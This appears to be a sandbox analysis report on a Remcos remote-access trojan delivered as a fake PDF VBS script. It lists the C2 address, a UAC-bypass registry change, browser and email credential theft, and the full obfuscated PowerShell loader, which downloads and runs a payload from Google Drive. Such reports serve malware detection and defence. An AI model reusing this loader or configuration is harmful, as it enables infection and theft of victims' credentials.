remcos | 92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04/11/2024, 15:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ajánlatkérés 11-04-2024·pdf.vbs
Size

15KB
MD5

55c8ee8061b9a47f8f6e66b3e8af9f6a
SHA1

a8d0c9f6bea7fc5c13dfe86c5beca52457dd6a3c
SHA256

92dbf37835455cd68d10e5cf6f750ec2d72de8ec7b8d92ffb751f7ceb8653523
SHA512

84cb1f3b8063dedff0ffcce545eb96a0411341e924d22088a1a63ad6c2c45a8980718b881f8fb323cd2c7a01618daed6da610a018c4ac2e45640e7b15b69cb90
SSDEEP

384:qbURUoc1vcM7vqGgTUIk0AZl5UYQdRmFhqm5pd:0KJ0GV7U5crm7qYpd

Score

10^/10

remcos remotehost collection credential_access discovery evasion rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

ris4sts8yan0i.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-LAZAF7
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/2032-79-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/5004-78-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/4364-93-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/2032-79-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/5004-78-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
4	1892	WScript.exe
9	996	powershell.exe
11	996	powershell.exe
36	1956	msiexec.exe
41	1956	msiexec.exe
43	1956	msiexec.exe
45	1956	msiexec.exe
49	1956	msiexec.exe
58	1956	msiexec.exe
59	1956	msiexec.exe
60	1956	msiexec.exe
61	1956	msiexec.exe
63	1956	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4324	Chrome.exe
3592	Chrome.exe
2512	msedge.exe
4820	msedge.exe
4828	Chrome.exe
2272	Chrome.exe
3220	msedge.exe
4872	msedge.exe
2852	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com
36	drive.google.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
996	powershell.exe
888	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1956	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
888	powershell.exe
1956	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1956 set thread context of 5004	1956	msiexec.exe	112
PID 1956 set thread context of 2032	1956	msiexec.exe	114
PID 1956 set thread context of 4364	1956	msiexec.exe	120

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4564	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
996	powershell.exe
996	powershell.exe
888	powershell.exe
888	powershell.exe
888	powershell.exe
5004	msiexec.exe
5004	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
4364	msiexec.exe
4364	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
5004	msiexec.exe
5004	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
4828	Chrome.exe
4828	Chrome.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe

Suspicious behavior: MapViewOfSection 10 IoCs

pid	Process
888	powershell.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe
1956	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3220	msedge.exe
3220	msedge.exe
3220	msedge.exe
3220	msedge.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeDebugPrivilege	4364	msiexec.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe
Token: SeShutdownPrivilege	4828	Chrome.exe
Token: SeCreatePagefilePrivilege	4828	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4828	Chrome.exe
3220	msedge.exe
3220	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 996	1892	WScript.exe	86
PID 1892 wrote to memory of 996	1892	WScript.exe	86
PID 888 wrote to memory of 1956	888	powershell.exe	103
PID 888 wrote to memory of 1956	888	powershell.exe	103
PID 888 wrote to memory of 1956	888	powershell.exe	103
PID 888 wrote to memory of 1956	888	powershell.exe	103
PID 1956 wrote to memory of 1784	1956	msiexec.exe	108
PID 1956 wrote to memory of 1784	1956	msiexec.exe	108
PID 1956 wrote to memory of 1784	1956	msiexec.exe	108
PID 1784 wrote to memory of 4564	1784	cmd.exe	110
PID 1784 wrote to memory of 4564	1784	cmd.exe	110
PID 1784 wrote to memory of 4564	1784	cmd.exe	110
PID 1956 wrote to memory of 5004	1956	msiexec.exe	112
PID 1956 wrote to memory of 5004	1956	msiexec.exe	112
PID 1956 wrote to memory of 5004	1956	msiexec.exe	112
PID 1956 wrote to memory of 5004	1956	msiexec.exe	112
PID 1956 wrote to memory of 2992	1956	msiexec.exe	113
PID 1956 wrote to memory of 2992	1956	msiexec.exe	113
PID 1956 wrote to memory of 2992	1956	msiexec.exe	113
PID 1956 wrote to memory of 2032	1956	msiexec.exe	114
PID 1956 wrote to memory of 2032	1956	msiexec.exe	114
PID 1956 wrote to memory of 2032	1956	msiexec.exe	114
PID 1956 wrote to memory of 2032	1956	msiexec.exe	114
PID 1956 wrote to memory of 4336	1956	msiexec.exe	115
PID 1956 wrote to memory of 4336	1956	msiexec.exe	115
PID 1956 wrote to memory of 4336	1956	msiexec.exe	115
PID 1956 wrote to memory of 2156	1956	msiexec.exe	116
PID 1956 wrote to memory of 2156	1956	msiexec.exe	116
PID 1956 wrote to memory of 2156	1956	msiexec.exe	116
PID 1956 wrote to memory of 4848	1956	msiexec.exe	117
PID 1956 wrote to memory of 4848	1956	msiexec.exe	117
PID 1956 wrote to memory of 4848	1956	msiexec.exe	117
PID 1956 wrote to memory of 3620	1956	msiexec.exe	118
PID 1956 wrote to memory of 3620	1956	msiexec.exe	118
PID 1956 wrote to memory of 3620	1956	msiexec.exe	118
PID 1956 wrote to memory of 4052	1956	msiexec.exe	119
PID 1956 wrote to memory of 4052	1956	msiexec.exe	119
PID 1956 wrote to memory of 4052	1956	msiexec.exe	119
PID 1956 wrote to memory of 4364	1956	msiexec.exe	120
PID 1956 wrote to memory of 4364	1956	msiexec.exe	120
PID 1956 wrote to memory of 4364	1956	msiexec.exe	120
PID 1956 wrote to memory of 4364	1956	msiexec.exe	120
PID 1956 wrote to memory of 4828	1956	msiexec.exe	121
PID 1956 wrote to memory of 4828	1956	msiexec.exe	121
PID 4828 wrote to memory of 2072	4828	Chrome.exe	122
PID 4828 wrote to memory of 2072	4828	Chrome.exe	122
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124
PID 4828 wrote to memory of 3780	4828	Chrome.exe	124

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ajánlatkérés 11-04-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Jone Semicurvilinear Plimraadden Storywriter #>;$Udlndinge='Ancien';<#Sndag Snydertampens Formulation Forkamres Unrivet Fuldbyrdet #>; function Immenser($Accoucheurers135){If ($host.DebuggerEnabled) {$granerne++;}$kegful=$Systemgruppers+$Accoucheurers135.'Length' - $granerne; for ( $Tyveaarsdagene=4;$Tyveaarsdagene -lt $kegful;$Tyveaarsdagene+=5){$Tostrenget=$Tyveaarsdagene;$Trehager+=$Accoucheurers135[$Tyveaarsdagene];}$Trehager;}function Aegicrania($Skjulesteds){ . ($Indkomstpligtiges) ($Skjulesteds);}$Spiritualty247=Immenser 'OutpM Raso raszMariiIndel,opslDikoaAlbe/Ma i ';$diaschisma=Immenser 'FortT I llEnedsCons1.nre2 rud ';$Unisexuality=' Cog[eyeoNFy.dEMedvTalve.ReflS ileeSingRDesiV eroiChokcKjesEbo lp,dstOAkkoIS aanglobTIn smBuruaSejpnFaitAZip GStheEsandr Wes]Unde:Anky:RadeSKollEIncacSrgeUBegyrSya iUdluTSandYHaknP W eRWiltOCro TDoctoRetsCAnimOR.stlCliv= Wed$kn bdUnbrIDagvATheos uksCDefiHTuskipraeS S,im GraA eng ';$Spiritualty247+=Immenser ' Le 5Pala. Cul0Sp,c Anop(RetrWEriniDue nBu ud AfdoRehaw KatsPers LkkeN ColTElek Demu1 Dor0Fors.Ribb0Havm;.eac OrnaWSlidiAbbrnKloi6 rea4Skye;Thre Progx Hyd6 Imp4Retn;Bigg asr un vVolk:Shel1V,so3nonb1Rnke.Stet0Fo,e)Diab CoulGOmfae OkocSkulkankeoCro./Kapi2Konk0Fem 1Udra0B gh0 C e1 T.l0Immu1B li VoicFWandiAgrersplae,urufTopeoA.tox Ci,/ oh1Plat3 Lik1 T l.Ty,a0Nor ';$Micropaleontologist=Immenser 'AlfoUIndlsNatuESoluRO ga-EfteASfaeGCos EO eaN,shaTmisp ';$pharyngology=Immenser 'Te ehLegatS amtTeaspWhissArch:Lakr/klar/Ad.ldLeverU.foiDri,vVg keSpid. turgFreao looDebigPhthl DipeKany.DraccHosto igmFjor/SaleuGe.fcHovn? ConeWassx ,etpWarroDe,drPrett eo=Heatdmne,ooff wD ganDentltrieo EclaAnchdPlat&BaluiIchtdPors=akad1 M ntBr lI renvDia rHarpdOxyhXRecuTSe oV C pB.ids8OppoiOnyc-SkabCBenokKerna Sacy MadZBioskLag OBog,RRep,LWhig4Uds BParaXFingdBe kF RepVPseueLol hCan 6 FilEKubiOSpar ';$Afstikkerens=Immenser 'Bygg>Pold ';$Indkomstpligtiges=Immenser 'H,loiJonbEBogsx kat ';$Rollings='Forbryderes';$Fornjelsesrejse='\Avlshingstes2.Xyl';Aegicrania (Immenser 'Asga$ CipgFngsl.pvuOMy tb llAOutml Ska:IvitNFu.dareveGValagFaciiLgesN unoGAn slsikkyC ns=Derm$R.prECoveN Apiv.ord:wittA pedpa uaPtar.d psAVaerTKe,eAS un+Sce.$LacefLipoO esiR Mi n,ataJchapEafl.L Br smineeSlikS KlirAdreeAnatjTablsT,roe A.e ');Aegicrania (Immenser ',amf$Co,kG SubL Foro herBOpiuANrmeLRege: litFBedeON nar DemURingD VogRFruge SfafL,nde nkRAfbreDatiNSudacAne.eTraasOdge2K,ns3Fl r5Fab = nor$ CenPUovehHexaATe,rRSurnyRo tn BetgRe no ralReliobackG,ubly In,. Neds,terpPlatL LusIHottTHigh(Rach$ M raVirkfPin s St TComeIDikokKan KMythEslanrSgereImmoN ortsedei)Intr ');Aegicrania (Immenser $Unisexuality);$pharyngology=$Forudreferences235[0];$Aphanozygous=(Immenser ' Adi$UnevGR.velFortO ,hib BorADeliL Edw: GenCLeksyCa dcSminLSan o NedN VasITresCAile=MadsNPseuETuguwG,ne-e vro.errB klujLacteTop CPol,T Bio SkrasTerrYRoqusforetMoo eSultMSeru.ThyrNAirmESpyfTMe t. PseW PopESmmeBSemiCMntrlAcheIfo tE Ma n jerTEksk ');Aegicrania ($Aphanozygous);Aegicrania (Immenser 'Axio$ForeCEncyy Ov.cOpl.luncaosedunIndtiBea.cWean.PodoH .bleBla a Sprd LeveSu er Kl sHete[Ethn$ Dy MCidaiFo kcflder SkvoEa epGe eaGi,al ame SysoKrftn BehtSkrpoYve,lHandoHypegSortiCalisTravtHof ]Sus =Ulde$stemSBejepU stiDallrAngiiPro tInteuFor aColll ettMandy Me.2busl4Thic7Noti ');$Nondeflationary=Immenser ' Epo$VariCPtilySparc l dlLeddoMoton UdliDramcCull.FarlD T ao En,w AcenN sol veroM noaDag,d BesFEmboiSultlBereeOrd,(Kjes$Und.p SprhSulta bjer eiychoknWe ngU.foost rl DewoUdsugWooly.ove,Dyre$ CymRCly.eWessg G naH lltexemtDiskaPaddeHousrEn.esUnde)Dagb ';$Regattaers=$naggingly;Aegicrania (Immenser 'Tra $Xen GGrafl UlvOT anb penaAi wLSino:HattM alaAA,toZErotURhinRThlaK .weAakts= O e(smaktha vEUnd sRearT.ure-FlotpSeriALu.stTankhC vi Toki$UglerbarbEGascg quia Ca,tFrolTSynsaSkafe BalRTranSSpri)Kv l ');while (!$mazurka) {Aegicrania (Immenser ' po$non gPhotlAltao CatbNonsaJil,lTung: BitBTubauLntirJanilVeroeTi stHigh=Outw$ Dimt .unrMariufasteYd.r ') ;Aegicrania $Nondeflationary;Aegicrania (Immenser 'TjrnSParatPan aAestrT.nstTele-B,nkSPy.eL Bl eBry EPiloPCon Fu v4Gip ');Aegicrania (Immenser 'P,an$Os egUrk.l ecaOT adBAr haVirkLJagt:Gi bmpaanABarnzMariuTermRAlonkAgamA Car=C os(EjerTYamseD lmsunnoTSub.-u.baPBrd AStu,TBogoHidrt tyk$LgterOutne NonG MegADisstRaditIndkA HaaE .apRNoncs Cam)Blok ') ;Aegicrania (Immenser 'U vu$ EksgCrepLJussOBetaB t eaBehaLHy l: losSRotukafplrFor u enceBudctYverSFrar=Poss$ ChuGAlarLBanaOUtilBDataAPa.tLCajs:Bi laCompN SigtOverIJ coPBlokY MatostyrNL veITraiNLich+hums+Tier%Pyro$MatsFVagaOU.dnRSin u HalDMalarDo sEHiblFOvere.isfRCha,eSta NKosoC Kr.eTrirs .ve2Prop3 Fll5Runr. Cucc SwaoMerruDoglNNaziTKorr ') ;$pharyngology=$Forudreferences235[$skruets];}$Fortidige=289428;$Tacamahac=30629;Aegicrania (Immenser 'Rusl$Tee,GInd LOmstOPhosbMeleA pdL.ele:Antit pipRPro YSifaKomskKPh nE TartGuldECoy k A rNNit,i PrekBenzSSkil Burl=Su e Ru,GOverEButtT Phy-MyolC T koStavnBr,mtSupeEAsepnbrndTLelw Pneo$InsiRFasee Argg,nkoa Ov,T.isatBagtaNonceraasRHedgsNeg, ');Aegicrania (Immenser ' N,n$ EftgNonll banoKultb ,fsa achlPena:St aIFrees Rego .edcParar Ke ySan mV rieOver Russ= mo Roth[TaclS,ndbyAigls ydrt.alue DenmMy,o.ret CC gaoUnc,nVomivBhlae,bbrrstr tK,al] Aet:Kred:ForsFTilfr Subo icmW ldB Unda,ulpsBru.eSk.r6,rys4SensSSimrtWarsrMenniFedtnT pngLa.i(Gods$Syn.TM,strHumayMicokLi,nkRegne.owat Rege petkDrifnMythi,inakOutcs Co.)Imit ');Aegicrania (Immenser ' fem$Opdrg ,anl OakoRielbMotoAUd.olServ: b pRanb E RodCSediIS rirBrinKAfsku hytlBumkEBusaRRestiA tiNMargg DucESlb,rSquaNEboneLuttsr ce K n= Dr Hor[UnarS kanYDel s lertCor E DevmS,if.Torgt NoneKarixSa ktU,de. SoreMis,nClocc ekoPiped OboIDro nKittGCur ],kva:Subs: OpsATrflSDerecMateiTridIFo s.DigegFrdsE E hTg ngS M ntDeltraccoimuhaN.ectgUdkl( Gen$SymbISyres ilkOVel,CCyt RLy tYMo rMVolaeE cl)N ur ');Aegicrania (Immenser 'Hj,e$AverGS inl Ha.OForfBProda DisLOvid: UpsjU,ocu MasMFlorb OrnUAt acsaboK ela=Bere$Od.rRDukkE pheCeksaiSamlrHadbkSkufuNedrl .aueSilkRNonmiM hanPrecgUnwwe KulrVrdiNStukE ReaSS.pe.StamsBa nuuncabRelesSmittEndorSt kiBenzNMesoGSt r(Dis $TystfAdr oAncyR CerTTy,nIVeleDUnboiSaragMedaeBene,Hie $ NavTCe ea R pc hibAB,limMedlaRigshTo aABrudCK.lb) el ');Aegicrania $Jumbuck;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:996

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Jone Semicurvilinear Plimraadden Storywriter #>;$Udlndinge='Ancien';<#Sndag Snydertampens Formulation Forkamres Unrivet Fuldbyrdet #>; function Immenser($Accoucheurers135){If ($host.DebuggerEnabled) {$granerne++;}$kegful=$Systemgruppers+$Accoucheurers135.'Length' - $granerne; for ( $Tyveaarsdagene=4;$Tyveaarsdagene -lt $kegful;$Tyveaarsdagene+=5){$Tostrenget=$Tyveaarsdagene;$Trehager+=$Accoucheurers135[$Tyveaarsdagene];}$Trehager;}function Aegicrania($Skjulesteds){ . ($Indkomstpligtiges) ($Skjulesteds);}$Spiritualty247=Immenser 'OutpM Raso raszMariiIndel,opslDikoaAlbe/Ma i ';$diaschisma=Immenser 'FortT I llEnedsCons1.nre2 rud ';$Unisexuality=' Cog[eyeoNFy.dEMedvTalve.ReflS ileeSingRDesiV eroiChokcKjesEbo lp,dstOAkkoIS aanglobTIn smBuruaSejpnFaitAZip GStheEsandr Wes]Unde:Anky:RadeSKollEIncacSrgeUBegyrSya iUdluTSandYHaknP W eRWiltOCro TDoctoRetsCAnimOR.stlCliv= Wed$kn bdUnbrIDagvATheos uksCDefiHTuskipraeS S,im GraA eng ';$Spiritualty247+=Immenser ' Le 5Pala. Cul0Sp,c Anop(RetrWEriniDue nBu ud AfdoRehaw KatsPers LkkeN ColTElek Demu1 Dor0Fors.Ribb0Havm;.eac OrnaWSlidiAbbrnKloi6 rea4Skye;Thre Progx Hyd6 Imp4Retn;Bigg asr un vVolk:Shel1V,so3nonb1Rnke.Stet0Fo,e)Diab CoulGOmfae OkocSkulkankeoCro./Kapi2Konk0Fem 1Udra0B gh0 C e1 T.l0Immu1B li VoicFWandiAgrersplae,urufTopeoA.tox Ci,/ oh1Plat3 Lik1 T l.Ty,a0Nor ';$Micropaleontologist=Immenser 'AlfoUIndlsNatuESoluRO ga-EfteASfaeGCos EO eaN,shaTmisp ';$pharyngology=Immenser 'Te ehLegatS amtTeaspWhissArch:Lakr/klar/Ad.ldLeverU.foiDri,vVg keSpid. turgFreao looDebigPhthl DipeKany.DraccHosto igmFjor/SaleuGe.fcHovn? ConeWassx ,etpWarroDe,drPrett eo=Heatdmne,ooff wD ganDentltrieo EclaAnchdPlat&BaluiIchtdPors=akad1 M ntBr lI renvDia rHarpdOxyhXRecuTSe oV C pB.ids8OppoiOnyc-SkabCBenokKerna Sacy MadZBioskLag OBog,RRep,LWhig4Uds BParaXFingdBe kF RepVPseueLol hCan 6 FilEKubiOSpar ';$Afstikkerens=Immenser 'Bygg>Pold ';$Indkomstpligtiges=Immenser 'H,loiJonbEBogsx kat ';$Rollings='Forbryderes';$Fornjelsesrejse='\Avlshingstes2.Xyl';Aegicrania (Immenser 'Asga$ CipgFngsl.pvuOMy tb llAOutml Ska:IvitNFu.dareveGValagFaciiLgesN unoGAn slsikkyC ns=Derm$R.prECoveN Apiv.ord:wittA pedpa uaPtar.d psAVaerTKe,eAS un+Sce.$LacefLipoO esiR Mi n,ataJchapEafl.L Br smineeSlikS KlirAdreeAnatjTablsT,roe A.e ');Aegicrania (Immenser ',amf$Co,kG SubL Foro herBOpiuANrmeLRege: litFBedeON nar DemURingD VogRFruge SfafL,nde nkRAfbreDatiNSudacAne.eTraasOdge2K,ns3Fl r5Fab = nor$ CenPUovehHexaATe,rRSurnyRo tn BetgRe no ralReliobackG,ubly In,. Neds,terpPlatL LusIHottTHigh(Rach$ M raVirkfPin s St TComeIDikokKan KMythEslanrSgereImmoN ortsedei)Intr ');Aegicrania (Immenser $Unisexuality);$pharyngology=$Forudreferences235[0];$Aphanozygous=(Immenser ' Adi$UnevGR.velFortO ,hib BorADeliL Edw: GenCLeksyCa dcSminLSan o NedN VasITresCAile=MadsNPseuETuguwG,ne-e vro.errB klujLacteTop CPol,T Bio SkrasTerrYRoqusforetMoo eSultMSeru.ThyrNAirmESpyfTMe t. PseW PopESmmeBSemiCMntrlAcheIfo tE Ma n jerTEksk ');Aegicrania ($Aphanozygous);Aegicrania (Immenser 'Axio$ForeCEncyy Ov.cOpl.luncaosedunIndtiBea.cWean.PodoH .bleBla a Sprd LeveSu er Kl sHete[Ethn$ Dy MCidaiFo kcflder SkvoEa epGe eaGi,al ame SysoKrftn BehtSkrpoYve,lHandoHypegSortiCalisTravtHof ]Sus =Ulde$stemSBejepU stiDallrAngiiPro tInteuFor aColll ettMandy Me.2busl4Thic7Noti ');$Nondeflationary=Immenser ' Epo$VariCPtilySparc l dlLeddoMoton UdliDramcCull.FarlD T ao En,w AcenN sol veroM noaDag,d BesFEmboiSultlBereeOrd,(Kjes$Und.p SprhSulta bjer eiychoknWe ngU.foost rl DewoUdsugWooly.ove,Dyre$ CymRCly.eWessg G naH lltexemtDiskaPaddeHousrEn.esUnde)Dagb ';$Regattaers=$naggingly;Aegicrania (Immenser 'Tra $Xen GGrafl UlvOT anb penaAi wLSino:HattM alaAA,toZErotURhinRThlaK .weAakts= O e(smaktha vEUnd sRearT.ure-FlotpSeriALu.stTankhC vi Toki$UglerbarbEGascg quia Ca,tFrolTSynsaSkafe BalRTranSSpri)Kv l ');while (!$mazurka) {Aegicrania (Immenser ' po$non gPhotlAltao CatbNonsaJil,lTung: BitBTubauLntirJanilVeroeTi stHigh=Outw$ Dimt .unrMariufasteYd.r ') ;Aegicrania $Nondeflationary;Aegicrania (Immenser 'TjrnSParatPan aAestrT.nstTele-B,nkSPy.eL Bl eBry EPiloPCon Fu v4Gip ');Aegicrania (Immenser 'P,an$Os egUrk.l ecaOT adBAr haVirkLJagt:Gi bmpaanABarnzMariuTermRAlonkAgamA Car=C os(EjerTYamseD lmsunnoTSub.-u.baPBrd AStu,TBogoHidrt tyk$LgterOutne NonG MegADisstRaditIndkA HaaE .apRNoncs Cam)Blok ') ;Aegicrania (Immenser 'U vu$ EksgCrepLJussOBetaB t eaBehaLHy l: losSRotukafplrFor u enceBudctYverSFrar=Poss$ ChuGAlarLBanaOUtilBDataAPa.tLCajs:Bi laCompN SigtOverIJ coPBlokY MatostyrNL veITraiNLich+hums+Tier%Pyro$MatsFVagaOU.dnRSin u HalDMalarDo sEHiblFOvere.isfRCha,eSta NKosoC Kr.eTrirs .ve2Prop3 Fll5Runr. Cucc SwaoMerruDoglNNaziTKorr ') ;$pharyngology=$Forudreferences235[$skruets];}$Fortidige=289428;$Tacamahac=30629;Aegicrania (Immenser 'Rusl$Tee,GInd LOmstOPhosbMeleA pdL.ele:Antit pipRPro YSifaKomskKPh nE TartGuldECoy k A rNNit,i PrekBenzSSkil Burl=Su e Ru,GOverEButtT Phy-MyolC T koStavnBr,mtSupeEAsepnbrndTLelw Pneo$InsiRFasee Argg,nkoa Ov,T.isatBagtaNonceraasRHedgsNeg, ');Aegicrania (Immenser ' N,n$ EftgNonll banoKultb ,fsa achlPena:St aIFrees Rego .edcParar Ke ySan mV rieOver Russ= mo Roth[TaclS,ndbyAigls ydrt.alue 